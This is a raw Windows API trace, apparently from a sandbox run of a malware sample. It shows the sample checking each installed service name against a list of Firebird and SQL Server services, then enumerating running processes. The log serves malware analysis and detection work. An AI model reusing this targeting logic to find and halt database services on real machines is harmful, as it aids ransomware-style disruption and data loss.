	[0077.846] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0077.846] lstrlenW (lpString="KeyIso") returned 6
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0077.847] lstrlenW (lpString="LanmanServer") returned 12
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0077.847] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0077.847] lstrlenW (lpString="lfsvc") returned 5
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0077.847] lstrlenW (lpString="lmhosts") returned 7
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0077.847] lstrlenW (lpString="LSM") returned 3
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0077.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0077.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0077.847] lstrlenW (lpString="MapsBroker") returned 10
	[0077.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.847] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0077.848] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0077.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0077.848] lstrlenW (lpString="MpsSvc") returned 6
	[0077.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.848] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0077.848] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0077.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0077.848] lstrlenW (lpString="NcbService") returned 10
	[0077.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0077.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0077.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0077.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0077.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0077.848] lstrlenW (lpString="netprofm") returned 8
	[0077.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0077.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0077.848] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0077.848] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0077.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0077.848] lstrlenW (lpString="NlaSvc") returned 6
	[0078.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0078.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0078.239] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0078.239] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0078.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0078.239] lstrlenW (lpString="nsi") returned 3
	[0078.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0078.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0078.239] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0078.239] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0078.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0078.239] lstrlenW (lpString="PcaSvc") returned 6
	[0078.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0078.240] lstrlenW (lpString="PlugPlay") returned 8
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0078.240] lstrlenW (lpString="Power") returned 5
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0078.240] lstrlenW (lpString="ProfSvc") returned 7
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0078.240] lstrlenW (lpString="RpcEptMapper") returned 12
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0078.240] lstrlenW (lpString="RpcSs") returned 5
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0078.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0078.240] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0078.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0078.240] lstrlenW (lpString="SamSs") returned 5
	[0078.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0078.241] lstrlenW (lpString="Schedule") returned 8
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0078.241] lstrlenW (lpString="SecurityHealthService") returned 21
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0078.241] lstrlenW (lpString="SENS") returned 4
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0078.241] lstrlenW (lpString="ShellHWDetection") returned 16
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0078.241] lstrlenW (lpString="Spooler") returned 7
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0078.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0078.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0078.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0078.241] lstrlenW (lpString="SSDPSRV") returned 7
	[0078.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0078.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0078.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0078.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0078.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0078.242] lstrlenW (lpString="StateRepository") returned 15
	[0078.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0078.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0078.242] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0078.242] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0078.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0078.242] lstrlenW (lpString="SysMain") returned 7
	[0078.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0078.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0078.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0078.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0078.242] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x783bf0 | out: hHeap=0x720000) returned 1
	[0078.242] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c
	[0078.248] Process32FirstW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0078.249] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0078.249] lstrlenW (lpString="System") returned 6
	[0078.249] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0078.250] lstrlenW (lpString="smss.exe") returned 8
	[0078.250] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0078.251] lstrlenW (lpString="csrss.exe") returned 9
	[0078.251] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0078.251] lstrlenW (lpString="wininit.exe") returned 11
	[0078.251] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0078.252] lstrlenW (lpString="csrss.exe") returned 9
	[0078.252] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0078.252] lstrlenW (lpString="winlogon.exe") returned 12
	[0078.252] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0078.253] lstrlenW (lpString="services.exe") returned 12
	[0078.253] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0078.253] lstrlenW (lpString="lsass.exe") returned 9
	[0078.253] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.254] lstrlenW (lpString="svchost.exe") returned 11
	[0078.254] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0078.254] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0078.254] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0078.255] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0078.255] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.256] lstrlenW (lpString="svchost.exe") returned 11
	[0078.256] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0078.256] lstrlenW (lpString="dwm.exe") returned 7
	[0078.256] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.257] lstrlenW (lpString="svchost.exe") returned 11
	[0078.257] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.257] lstrlenW (lpString="svchost.exe") returned 11
	[0078.257] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.258] lstrlenW (lpString="svchost.exe") returned 11
	[0078.258] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.258] lstrlenW (lpString="svchost.exe") returned 11
	[0078.258] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.259] lstrlenW (lpString="svchost.exe") returned 11
	[0078.259] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.259] lstrlenW (lpString="svchost.exe") returned 11
	[0078.259] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.260] lstrlenW (lpString="svchost.exe") returned 11
	[0078.260] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.260] lstrlenW (lpString="svchost.exe") returned 11
	[0078.260] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.261] lstrlenW (lpString="svchost.exe") returned 11
	[0078.261] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.262] lstrlenW (lpString="svchost.exe") returned 11
	[0078.262] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0078.262] lstrlenW (lpString="spoolsv.exe") returned 11
	[0078.262] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.263] lstrlenW (lpString="svchost.exe") returned 11
	[0078.263] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0078.263] lstrlenW (lpString="audiodg.exe") returned 11
	[0078.263] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0078.264] lstrlenW (lpString="sihost.exe") returned 10
	[0078.264] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.264] lstrlenW (lpString="svchost.exe") returned 11
	[0078.264] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.265] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.265] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0078.265] lstrlenW (lpString="explorer.exe") returned 12
	[0078.265] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0078.266] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0078.266] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0078.266] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0078.266] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0078.267] lstrlenW (lpString="Memory Compression") returned 18
	[0078.267] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0078.268] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
